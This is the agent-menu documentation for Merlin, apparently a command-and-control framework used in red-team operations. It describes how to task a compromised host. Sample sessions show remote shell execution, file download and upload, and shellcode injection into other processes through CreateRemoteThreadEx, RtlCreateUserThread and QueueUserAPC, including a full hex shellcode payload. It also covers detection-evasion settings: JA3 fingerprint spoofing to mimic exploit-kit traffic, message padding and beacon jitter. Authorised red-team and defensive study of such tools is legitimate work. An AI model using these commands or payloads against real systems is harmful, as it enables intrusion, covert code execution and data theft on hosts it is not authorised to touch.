Agent Menu

The agent menu context is used to interact with a single agent. The Merlin prompt will include the word agent along with the identifier for the selected agent. Type help to see a list of available commands for the agent menu context.

help

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» help

       COMMAND      |          DESCRIPTION           |            OPTIONS
+-------------------+--------------------------------+--------------------------------+
  cd                | Change directories             | cd ../../ OR cd c:\\Users
  cmd               | Execute a command on the agent | cmd ping -c 3 8.8.8.8
                    | (DEPRECIATED)                  |
  back              | Return to the main menu        |
  download          | Download a file from the agent | download <remote_file>
  execute-shellcode | Execute shellcode              | self, remote <pid>,
                    |                                | RtlCreateUserThread <pid>
  info              | Display all information about  |
                    | the agent                      |
  kill              | Instruct the agent to die or   |
                    | quit                           |
  ls                | List directory contents        | ls /etc OR ls C:\\Users
  main              | Return to the main menu        |
  pwd               | Display the current working    | pwd
                    | directory                      |
  set               | Set the value for one of the   | ja3, killdate, maxretry,
                    | agent's options                | padding, skew, sleep
  shell             | Execute a command on the agent | shell ping -c 3 8.8.8.8
  status            | Print the current status of    |
                    | the agent                      |
  upload            | Upload a file to the agent     | upload <local_file>
                    |                                | <remote_file>
  *                 | Anything else will be execute  |
                    | on the host operating system   |
Agent Help Menu

cd

The cd command is used to change the current working directory the Merlin agent is using. Relative paths can be used (i.e. ./../ or downloads\\Merlin). This command uses native Go and will not execute the cd binary program found on the host operating system.

The \ in a Windows directory must be escaped like C:\\Windows\\System32.
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd /usr/bin
[-]Created job evtawDqBWa for agent a98e6175-7799-47fb-abf0-32534a9191f0 at 2019-02-27T01:03:57Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job evtawDqBWa at 2019-02-27T01:03:59Z
Changed working directory to /usr/bin
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd "C:\\Program Files (x86)\\"
[-]Created job gwFQhcsKJi for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:17:26Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job gwFQhcsKJi at 2019-02-27T01:17:30Z
Changed working directory to C:\Program Files (x86)

cmd

The cmd command is used to task the agent to run a command on the host. It is important to note that program must be in the path. This allows you to specify what shell you want to run your command in or if you just want to run the executable. For instance, ping.exe is in typically in the %PATH% variable on Windows and works without specifying cmd.exe. However, the ver command is not an executable in the %PATH% and therefore must be run from cmd.exe.

THIS COMMAND HAS BEEN DEPRECIATED IN FAVOR OF “shell”

Example using ping:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd  ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms

Example running ver without cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%

Example running ver with cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd cmd /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]

back

The back command is used to leave the Agent menu and return back to the Main Menu.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» back
Merlin»

download

The download command is used to download a file from the host where the agent is running back to the Merlin server. The file will be automatically saved in a folder with a name of the agent’s identifier in the dataagentsc1090dbc-f2f7-4d90-a241-86e0c0217786 directory.

NOTE: Because \ is used to escape a character, file paths require two (i.e C:\\Windows)

NOTE: Enclose file paths containing a space with quotation marks (i.e. "C:\\Windows\\Program Files\\")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» download C:\\Windows\\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job NXnhJVRUSP for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job NXnhJVRUSP
[+]Successfully downloaded file C:\Windows\hh.exe with a size of 17920 bytes from agent to C:\merlin\data\agents\c1090dbc-f2f7-4d90-a241-86e0c0217786\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»

exit

The exit command is used to quit the Merlin server. The user will be prompted for confirmation to prevent from accidentally quitting the program. The confirmation prompt can be skipped with exit -y.

Merlin» exit

Are you sure you want to exit? [yes/NO]:
yes
[!]Quitting...

execute-shellcode

The execute-shellcode command is used to have the Agent execute the provided shellcode. This command became available in version 0.6.4 and is only supported for Windows agents.

The execute-shellcode command takes the shellcode you want to execute at the last argument. Shellcode can be provided using an absolute filepath or by pasting it directly into the terminal in one of the following formats:
  • Hex (i.e. 5051525356)
  • 0x50, 0x51, 0x52, 0x53, 0x56 with or without spaces and commas
  • \x50\x51\x52\x53\x56
  • Base64 encoded version of the above formats
  • A file containing any of the above formats or just a raw byte file

WARNING Shellcode injection and execution could cause a process to crash so choose wisely

NOTE If Cobalt Strike’s Beacon is injected using one of these methods, exiting the Beacon will cause the process to die too.

The agent can execute shellcode using one of the following methods:

self

The self method allocates space within the Merlin Agent process and executes the shellcode.

Syntax is execute-shellcode self <SHELLCODE>

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode self 505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3
[-]Created job joQNJONrEK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job joQNJONrEK
[+]Shellcode executed successfully

remote

The remote method creates a thread in another process using the CreateRemoteThreadEx Windows API call.

Syntax is execute-shellcode remote <PID> <SHELLCODE> where PID is the Process ID you want to execute the shellcode under.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode remote 6560 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3
[-]Created job PRumZQYBFR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job PRumZQYBFR
[+]Shellcode executed successfully

RtlCreateUserThread

The rtlcreateuserthread method creates a thread in another process using the undocumented RtlCreateUserThread Windows API call.

Syntax is execute-shellcode rtlcreateuserthread <PID> <SHELLCODE> where PID is the Process ID you want to execute the shellcode under.

Example:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode RtlCreateUserThread 6560 \x50\x51\x52\x53\x56\x57\x55\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x83\xEC\x28\x65\x48\x8B\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48\x01\xF7\x99\xFF\xD7\x48\x83\xC4\x30\x5D\x5F\x5E\x5B\x5A\x59\x58\xC3
[-]Created job CCWrmdLIFQ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job CCWrmdLIFQ
[+]Shellcode executed successfully

UserAPC

The userapc method creates a thread in another process using the QueueUserAPC Windows API call.

Syntax is execute-shellcode userapc <PID> <SHELLCODE> where PID is the Process ID you want to execute the shellcode under.

NOTE: This method is highly unstable and therefore was intentionally not added to the tab completion list of available methods. The current implementation requires the process to have more than 1 thread. All remaining threads will have a user-mode APC queued to execute the shellcode and could result in multiple instances of execution. This method frequently causes processes to crash. Additionally, the shellcode might not execute at all if none of the threads were in an alertable state. The svchost.exe process usually provides a little better choice, but still not guaranteed.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode userapc 4824 /home/rickastley/calc.bin
[-]Created job NPQGRntaQX for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job NPQGRntaQX
[+]Shellcode executed successfully

info

The info command is used to get information about a specific agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» info

+---------------------------+-----------------------------------------------+
| ID                        | c1090dbc-f2f7-4d90-a241-86e0c0217786          |
| Platform                  | windows                                       |
| Architecture              | amd64                                         |
| UserName                  | ACME\Dade                                     |
| User GUID                 | S-1-5-21-988272595-2747325887-1861723304-1002 |
| Hostname                  | WIN-7PD32                                     |
| Process ID                | 4120                                          |
| IP                        | [fe80::8893:b524:821:31ba/64                  |
|                           | 169.254.49.186/16                             |
|                           | 192.168.1.104/24 fe80::fd43:1a37:b31b:9788/64 |
| Initial Check In          | 2017-11-22 11:36:47.4171802 -0500 EST         |
|                           | m=+7.606503201                                |
| Last Check In             | 2017-11-22 12:26:50.1984432 -0500 EST         |
|                           | m=+3010.387766201                             |
| Agent Version             | 0.5.0 Beta                                    |
| Agent Build               | nonRelease                                    |
| Agent Wait Time           | 30s                                           |
| Agent Wait Time Skew      | 5                                             |
| Agent Message Padding Max | 4096                                          |
| Agent Max Retries         | 7                                             |
| Agent Kill Date           | 1970-01-01T00:00:00Z                          |
| Agent Failed Logins       | 0                                             |
+---------------------------+-----------------------------------------------+

kill

The kill control type instructs the agent to exit or die. There is no response on the CLI after the instruction has been provided to the agent. This command is also an alias for agent -> control -> <agent ID> -> kill. This is the shortest way to quickly kill an agent.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill
Merlin» [-]Created job goaRNhTVTT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

ls

The ls command is used to list a directory’s contents using native Go functions within Merlin. This command will not execute the ls or dir binary programs found on their associated host operating systems. If a directory is not specified, Merlin will list the contents of the current working directory. When specifying a Windows path, you must escape the backslash (i.e. C:\Temp). Wrap file paths containing a space in quotations. Alternatively, Linux file paths with a space can be called without quotes by escaping the space (i.e. /root/some\ folder/). Relative paths can be used (i.e. ./../ or downloads\\Merlin) and they are resolved to their absolute path.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls /var
[-]Created job eNJKIiLXXH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job eNJKIiLXXH
Directory listing for: /var

drwxr-xr-x      2019-02-06 00:05:17     4096    backups
drwxr-xr-x      2018-12-24 14:40:14     4096    cache
dgtrwxrwxrwx    2019-02-06 00:05:16     4096    crash
drwxr-xr-x      2019-01-17 21:24:30     4096    lib
dgrwxrwxr-x     2018-04-24 04:34:22     4096    local
Lrwxrwxrwx      2018-11-07 21:33:01     9       lock
drwxrwxr-x      2019-02-06 00:05:39     4096    log
dgrwxrwxr-x     2018-07-24 23:03:56     4096    mail
dgtrwxrwxrwx    2018-07-24 23:09:50     4096    metrics
drwxr-xr-x      2018-07-24 23:03:56     4096    opt
Lrwxrwxrwx      2018-11-07 21:33:01     4       run
drwxr-xr-x      2018-11-07 21:45:43     4096    snap
drwxr-xr-x      2018-11-07 21:38:04     4096    spool
dtrwxrwxrwx     2019-02-06 00:05:38     4096    tmp
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls "C:\\Program Files (x86)\\"
[-]Created job ggQPFQhTrC for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job ggQPFQhTrC
Directory listing for: C:\Program Files (x86)

drwxrwxrwx      2018-09-15 00:42:33     0       Common Files
drwxrwxrwx      2018-09-15 02:08:27     0       Internet Explorer
drwxrwxrwx      2018-09-15 00:33:50     0       Microsoft.NET
drwxrwxrwx      2018-09-15 02:07:46     0       Windows Defender
drwxrwxrwx      2018-12-27 12:42:42     0       Windows Kits
drwxrwxrwx      2018-09-15 00:33:53     0       Windows Mail
drwxrwxrwx      2018-12-16 13:15:58     0       Windows Media Player
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Multimedia Platform
drwxrwxrwx      2019-01-10 08:18:11     0       Windows Photo Viewer
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Portable Devices
drwxrwxrwx      2018-09-15 00:33:50     0       Windows Sidebar
drwxrwxrwx      2018-09-15 00:33:50     0       WindowsPowerShell
-rw-rw-rw-      2018-09-15 00:31:34     174     desktop.ini
drwxrwxrwx      2018-09-15 00:42:33     0       windows nt

quit

The quit command is used to exit out of the Merlin Server application. This is also an alias for the exit command.

set

The set command is used to provide the agent with instructions on controlling itself and/or its configuration. There are several control types to include:

ja3

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats.

The ja3 option allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (i.e. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

NOTE: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The -ja3 flag will override the the -proto flag and will cause the agent to use the protocol provided in the JA3 hash.

This example will create a TLS client with a JA3 hash of 51a7ad14509fd614c7bb3a50c4982b8c that matches Java based malware such as Neutrino and Nuclear Exploit Kit (EK).

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set ja3 769,49161-49171-47-49156-49166-51-50-49159-49169-5-49154-49164-49160-49170-10-49155-49165-22-19-4-255,10-11-0,23-1-3-19-21-6-7-9-10-24-11-12-25-13-14-15-16-17-2-18-4-5-20-8-22,0
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job DWXtIAdjYz for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2020-08-20T14:36:34Z

killdate

Killdate is a UNIX timestamp that denotes a time the executable will not run after (if it is 0 it will not be used). Killdate is checked before the agent performs each checkin, including before the initial checkin.

Killdate can be set in the agent/agent.go file before compiling, in the New function instantiation of a new agent. One scenario for using the killdate feature is an agent is persisted as a service and you want it to stop functioning after a certain date, in case the target organization fails to remediate the malicious service. Using killdate here would stop the agent from functioning after a certain specified UNIX system time.

The Killdate can also be set or changed for running agents using the set killdate command from the agent menu. This will only modify the killdate for the running agent in memory and will not update the compiled binary file. http://unixtimestamp.50x.eu/ can be used to generate a UNIX timestamp.

A UNIX timestamp of 0 will read like 1970-01-01T00:00:00Z in the agent info table.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set killdate 811123200
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

maxretry

The maxretry control type is used to change the _maximum_ number of failed login an agent will allow before the agent quits. For the sake of this conversation, a login means establishing contact with a Merlin Server and receiving no errors. The default is 7. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set maxretry 50
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

padding

The padding control type is used to change the _maximum_ size of a message’s padding. A random value between 0 and the maximum padding value is selected on a per message basis and added to the end of each message. This is used in an attempt to evade detection when a program looks for messages with same size beaconing out. The default is 4096. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set padding 8192
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job wlGTwgtqNx for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

skew

The skew command is used to introduce a jitter or skew to the agent sleep time to keep traffic from occurring at exact time intervals.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set skew 5
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job lyYQdxckTY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»

sleep

The sleep control type is used to change the amount of time that an agent will sleep before checking in again. The default is 30 seconds. The values provided to this command are written in a time format. For example, 30s is 30 seconds and 60m is 60 minutes. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set sleep 15s
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job npMYqwASOD for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

shell

The shell command is used to task the agent to run a command on the host. It is important to note that program must be in the path. This allows you to specify what shell you want to run your command in or if you just want to run the executable. For instance, ping.exe is in typically in the %PATH% variable on Windows and works without specifying cmd.exe. However, the ver command is not an executable in the %PATH% and therefore must be run from cmd.exe.

Example using ping:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell  ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms

Example running ver without cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%

Example running ver with cmd.exe:

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell cmd.exe /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]

main

The main command is used to leave the Agent menu and return back to the Main Menu. It is an alias for the back command.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
Merlin»

pwd

The pwd command uses native Go to get and return the current working directory.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-27T01:14:17Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job JweUayTyTv at 2019-02-27T01:14:28Z
Current working directory: C:\Users\Joe

status

The status command is used to simply print if the Merlin Agent is Active, Delayed, or Dead to the screen. This becomes useful when you come back to Merlin after a couple of hours or if you want to see if your shell has died.

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» status
Active
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»

upload

The upload command is used to upload a file from the Merlin server to the host where the Merlin agent is running. The command is called by proving the location of the file on the Merlin server followed by the location to save the file on the host where the Merlin agent is running.

NOTE: Because \ is used to escape a character, file paths require two (i.e C:\\Windows)

NOTE: Enclose file paths containing a space with quotation marks (i.e. "C:\\Windows\\Program Files\\")

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» upload C:\\SysinternalsSuite\\PsExec.exe C:\\Windows\\PsExec.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job vXJsZdZLPP for agent c1090dbc-f2f7-4d90-a241-86e0c0217786